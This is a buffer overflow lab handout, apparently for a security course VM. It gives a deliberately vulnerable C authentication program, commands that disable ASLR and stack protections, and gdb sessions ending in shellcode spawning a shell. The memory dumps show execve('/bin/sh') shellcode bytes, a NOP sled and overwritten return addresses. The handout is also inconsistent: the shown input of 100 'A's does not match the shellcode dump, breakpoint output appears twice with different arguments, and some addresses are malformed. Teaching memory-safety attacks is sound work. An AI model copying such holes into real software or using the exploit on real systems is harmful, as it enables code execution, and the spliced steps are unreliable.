

Buffer Overflow Attacks

This lab allows you to experiment with a variation of the buffer overflow attacks demonstrated in the lecture. The goal of this lab is to exploit buffer overflow to invoke a shell code from a legitimate program.

Some online references are listed as follows:

[GCC Beginner Guide](#)

[GDB Tutorial](#)

[Binary Convention](#)

[x86 Assembly Language Reference](#)

1. Create our simple vulnerable program (auth_overflow3.c): It is a variant of the vulnerable program demonstrated in the lecture. Note that the buffer size in this variant is 96 bytes long. It will be large enough for an attacker to inject his own executable shell code into the buffer, as we will see in this lab.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {

    char password_buffer[96];
    int auth_flag[1];

    auth_flag[0] = 0;

    strcpy(password_buffer, password);

    if(strcmp(password_buffer, "brillig") == 0)
        auth_flag[0] = 1;
    if(strcmp(password_buffer, "outgrabe") == 0)
        auth_flag[0] = 1;

    return auth_flag[0];
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    if(check_authentication(argv[1])) {
        printf("\n-----\n");
        printf("        Access Granted.\n");
        printf("-----\n");
    } else {
        printf("\nAccess Denied.\n");
    }
}
```

2. Compile the program, include symbol info. for debugger (-g), disable stack protector (-fno-stack-protector) and allow the stack to contain executable code (-z execstack)

```
seed@VM$ sudo sysctl -w kernel.randomize_va_space=0
```

```
seed@VM$ gcc -fno-stack-protector -z execstack -g -o auth_overflow3  
auth_overflow3.c
```

```
[09/11/21]seed@VM:~/BoF$ sudo sysctl -w kernel.randomize_va_space=0  
kernel.randomize_va_space = 0  
[09/11/21]seed@VM:~/BoF$ gcc -fno-stack-protector -z execstack -g -o auth_over  
flow3 auth_overflow3.c  
[09/11/21]seed@VM:~/BoF$
```

3. Load the program into the gdb debugger

```
seed@VM$ gdb auth_overflow3
```

```
[09/11/21]seed@VM:~/BoF$ gdb auth_overflow3  
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1  
Copyright (C) 2016 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law. Type "show copying"  
and "show warranty" for details.  
This GDB was configured as "i686-linux-gnu".  
Type "show configuration" for configuration details.  
For bug reporting instructions, please see:  
<http://www.gnu.org/software/gdb/bugs/>.  
Find the GDB manual and other documentation resources online at:  
<http://www.gnu.org/software/gdb/documentation/>.  
For help, type "help".  
Type "apropos word" to search for commands related to "word"...  
Reading symbols from auth_overflow3...done.  
gdb-peda$
```

4. List the program and set break points just before the buffer overflow point and after the overflow:

```
(gdb) list 1,40
```

```
gdb-peda$ list 1,40  
1      #include <stdio.h>  
2      #include <stdlib.h>  
3      #include <string.h>  
4  
5      int check_authentication(char *password) {  
6  
7          char password_buffer[96];  
8          int auth_flag[1];  
9  
10         auth_flag[0] = 0;  
11  
12         strcpy(password_buffer, password);  
13  
14         if(strcmp(password_buffer, "brillig") == 0)  
15             auth_flag[0] = 1;  
16         if(strcmp(password_buffer, "outgrabe") == 0)  
17             auth_flag[0] = 1;  
18  
19         return auth_flag[0];  
20     }  
21  
22     int main(int argc, char *argv[]) {  
23         if(argc < 2) {  
24             printf("Usage: %s <password>\n", argv[0]);  
25             exit(0);  
26         }  
27         if(check_authentication(argv[1])) {  
28             printf("\n-=-=-=-=-=-\n");  
29             printf("    Access Granted.\n");  
30             printf("-=-=-=-=-=-\n");  
31         } else {  
32             printf("\nAccess Denied.\n");  
33         }  
34     }  
35
```

```
(gdb) break 12
(gdb) break 19
```

```
gdb-peda$ break 12
Breakpoint 1 at 0x80484d8: file auth_overflow3.c, line 12.
gdb-peda$ break 19
Breakpoint 2 at 0x8048528: file auth_overflow3.c, line 19.
gdb-peda$
```

5. Disassemble the main() function code and locate the return address that execution returns to after the check_authentication function returns:

```
(gdb) set disassembly-flavor intel
(gdb) disass main
```

```
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disass main
Dump of assembler code for function main:
0x0804852d <+0>: lea ecx,[esp+0x4]
0x08048531 <+4>: and esp,0xffffffff
0x08048534 <+7>: push DWORD PTR [ecx-0x4]
0x08048537 <+10>: push ebp
0x08048538 <+11>: mov ebp,esp
0x0804853a <+13>: push ecx
0x0804853b <+14>: sub esp,0x4
0x0804853e <+17>: mov eax,ecx
0x08048540 <+19>: cmp DWORD PTR [eax],0x1
0x08048543 <+22>: jg 0x8048565 <main+56>
0x08048545 <+24>: mov eax,DWORD PTR [eax+0x4]
0x08048548 <+27>: mov eax,DWORD PTR [eax]
0x0804854a <+29>: sub esp,0x8
0x0804854d <+32>: push eax
0x0804854e <+33>: push 0x8048661
0x08048553 <+38>: call 0x8048370 <printf@plt>
0x08048558 <+43>: add esp,0x10
0x0804855b <+46>: sub esp,0xc
0x0804855e <+49>: push 0x0
0x08048560 <+51>: call 0x80483a0 <exit@plt>
0x08048565 <+56>: mov eax,DWORD PTR [eax+0x4]
0x08048568 <+59>: add eax,0x4
0x0804856b <+62>: mov eax,DWORD PTR [eax]
0x0804856d <+64>: sub esp,0xc
0x08048570 <+67>: push eax
0x08048571 <+68>: call 0x80484cb <check_authentication>
0x08048576 <+73>: add esp,0x10 Important
0x08048579 <+76>: test eax,eax
0x0804857b <+78>: je 0x80485af <main+130>
0x0804857d <+80>: sub esp,0xc
0x08048580 <+83>: push 0x8048677
0x08048585 <+88>: call 0x8048390 <puts@plt>
0x0804858a <+93>: add esp,0x10
0x0804858d <+96>: sub esp,0xc
0x08048590 <+99>: push 0x8048694
0x08048595 <+104>: call 0x8048390 <puts@plt>
0x0804859a <+109>: add esp,0x10
0x0804859d <+112>: sub esp,0xc
0x080485a0 <+115>: push 0x80486aa
0x080485a5 <+120>: call 0x8048390 <puts@plt>
0x080485aa <+125>: add esp,0x10
0x080485ad <+128>: jmp 0x80485bf <main+146>
0x080485af <+130>: sub esp,0xc
0x080485b2 <+133>: push 0x80486c6
0x080485b7 <+138>: call 0x8048390 <puts@plt>
0x080485bc <+143>: add esp,0x10
0x080485bf <+146>: mov eax,0x0
0x080485c4 <+151>: mov ecx,DWORD PTR [ebp-0x4]
0x080485c7 <+154>: leave
0x080485c8 <+155>: lea esp,[ecx-0x4]
0x080485cb <+158>: ret
End of assembler dump.
```

The **return address (0x08048576)** is highlighted above (the instruction following the call to check_authentication function).

6. Run the program with an input (payload), which is larger than the 96 bytes buffer length. (say 100 "A" characters (ASCII code = 0x41))

```
(gdb) run $(perl -e 'print "\x41"x100')
```

```
gdb-peda$ run $(perl -e 'print"\x41"x100')
Starting program: /media/sf_Shared_Folder/BoF/auth_overflow3 $(perl -e 'print"\x41"x100')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

-----registers-----
EAX: 0xbffefb2 ('A' <repeats 100 times>)
EBX: 0x0
ECX: 0xbffed00 --> 0x2
EDX: 0xbffed24 --> 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbffec08 --> 0xbffec08 --> 0x0
ESP: 0xbffec50 --> 0x0
EIP: 0x80484d8 (<check_authentication+13>:      sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

-----code-----
0x80484cc <check_authentication+1>:  mov    ebp,esp
0x80484ce <check_authentication+3>:  sub    esp,0x78
0x80484d1 <check_authentication+6>:  mov    DWORD PTR [ebp-0x6c],0x0
=> 0x80484d8 <check_authentication+13>: sub    esp,0x8
0x80484db <check_authentication+16>: push   DWORD PTR [ebp+0x8]
0x80484de <check_authentication+19>: lea    eax,[ebp-0x68]
0x80484e1 <check_authentication+22>: push   eax
0x80484e2 <check_authentication+23>: call   0x8048380 <strcpy@plt>

-----stack-----
0000 0xbffec50 --> 0x0
0004 0xbffec54 --> 0x1
0008 0xbffec58 --> 0xb7fff918 --> 0x0
0012 0xbffec5c --> 0x0
0016 0xbffec60 --> 0xb7fd4240 --> 0xb7fba960 (<_ZN5boost15program_options6detail18utf8_codecvt_facetC2Ej>:  sub    esp,
0x1c)
0020 0xbffec64 --> 0xb7fe97a2 (<d_l_fixup+194>:      mov    edi,eax)
0024 0xbffec68 --> 0xb7fd6b48 --> 0xb7ffa74 --> 0xb7bb834c --> 0xb7fff918 --> 0x0
0028 0xbffec6c --> 0x0
Legend: code, data, rodata, value

Breakpoint 1, check_authentication (password=0xbffefb2 'A' <repeats 100 times>) at auth_overflow3.c:12
12      strcpy(password_buffer, password);
gdb-peda$
```

Examine the contents of the stack memory (starting the at the first byte of the password_buffer):

```
(gdb) x/48xw password_buffer
```

```
gdb-peda$ x/48xw password_buffer
0xbffec60: 0xb7fd4240 0xb7fe97a2 0xb7fd6b48 0x00000000
0xbffec70: 0xb7fff000 0xb7f5e4c4 0x00000000 0x00000000
0xbffec80: 0xb7fff000 0xb7fff918 0xbffeca0 0x08048295
0xbffec90: 0x00000000 0xbffed34 0xb7fd44e8 0xb7fd445c
0xbffeca0: 0xffffffff 0xb7d66000 0xb7d76dc8 0xb7ffd2f0
0xbffecb0: 0xb7fd44e8 0xb7fd445c 0xb7fd27bc 0xb7d98c0b
0xbffec0: 0xb7f1c3dc 0x00000000 0xbffec08 => 0x08048576
0xbffecd0: 0xbffefb2 0xbffed94 0xbffeda0 0x080485f1
0xbffece0: 0xb7f1c3dc 0xbffed00 0x00000000 0xb7d82637
0xbffecf0: 0xb7f1c000 0xb7f1c000 0x00000000 0xb7d82637
0xbffed00: 0x00000002 0xbffed94 0xbffeda0 0x00000000
0xbffed10: 0x00000000 0x00000000 0xb7f1c000 0xb7fffc04
gdb-peda$
```

NOTE: You may have different addresses [highlighted in YELLOW box above] in your VM. Please follow the below steps accordingly.

Can you see the address after the end of the password_buffer in the check_authentication() stack frame where the return address is stored? (look for the return address you identified earlier in the stack memory dump).

7. Continue execution to next breakpoint (after the overflow strcpy) and examine the stack memory again. Can you see the overflow bytes containing the '0x41' characters? How large should the overflow be to reach and overwrite the return address?

```
(gdb) continue
```

```
gdb-peda$ continue
Continuing.

Breakpoint 2, check_authentication (password=0xbffefb2 'A' <repeats 100 times>) at auth_overflow3.c:19
19      return auth_flag[0];
gdb-peda$
```

```
Breakpoint 2, check_authentication (password=0xbffff204 "/lib/boost/libboost_system.so.1.64.0") at auth_overflow3.c:19
19      return auth_flag[0];
(gdb-peda$)
```



```
(gdb) x/48xw password_buffer
```

```
gdb-peda$ x/48xw password_buffer
0xbffffbd0: 0x90909090 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf0: 0x90909090 0x90909090 0xdb31c031 0xb099c931
0xbffffec0: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68
0xbffffec10: 0x51e3896e 0x8953e289 0x9080cde1 0xbffffbe0
0xbffffec20: 0xbffffbe0 0xbffffbe0 0xbffffbe0 0xbffffbe0
0xbffffec30: 0xbffffbe0 0xbffffbe0 0xbffffbe0 0xbffffbe0
0xbffffec40: 0xbffffbe0 0xbffffbe0 0xbffffbe0 0xbffffbe0
0xbffffec50: 0xbffffbe0 0xbffffbe0 0xbffffbe0 0xbffffbe0
0xbffffec60: 0xbffffbe0 0xbffffbe0 0xbffffbe0 0xbffffbe0
0xbffffec70: 0xbffffbe0 0xbffffbe0 0xbffffbe0 0xbffffbe0
0xbffffec80: 0xbffffbe0 0xbffffbe0 0xbffffbe0 0xbffffbe0
gdb-peda$
```

```
(gdb) continue
```

```
gdb-peda$ continue
Continuing.
process 26327 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No source file named /media/sf_Shared_Folder/BoF/auth_overflow3.c.
Error in re-setting breakpoint 2: No source file named /media/sf_Shared_Folder/BoF/auth_overflow3.c.
$
```

```
$ ls -la
```

```
$ ls -la
[New process 26400]
process 26400 is executing new program: /bin/ls
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
total 34
drwxrwx--- 1 root vboxsf 4096 Sep 11 08:12 .
drwxrwx--- 1 root vboxsf 4096 Sep 11 07:57 ..
-rwxrwx--- 1 root vboxsf 8533 Aug  8 21:59 .gdb_history
-rwxrwx--- 1 root vboxsf 8700 Sep 11 07:58 auth_overflow3
-rwxrwx--- 1 root vboxsf  690 Mar 17 22:03 auth_overflow3.c
-rwxrwx--- 1 root vboxsf  109 Sep 11 08:39 peda-session-auth_overflow3.txt
-rwxrwx--- 1 root vboxsf  451 Mar 13 01:31 perl-cmd-gdb.txt
$ [Inferior 2 (process 26400) exited normally]
Warning: not running or target is remote
gdb-peda$
```

The attack worked – execution returned to the shellcode and the shell could be used to issue any commands (such as `ls` in the example above).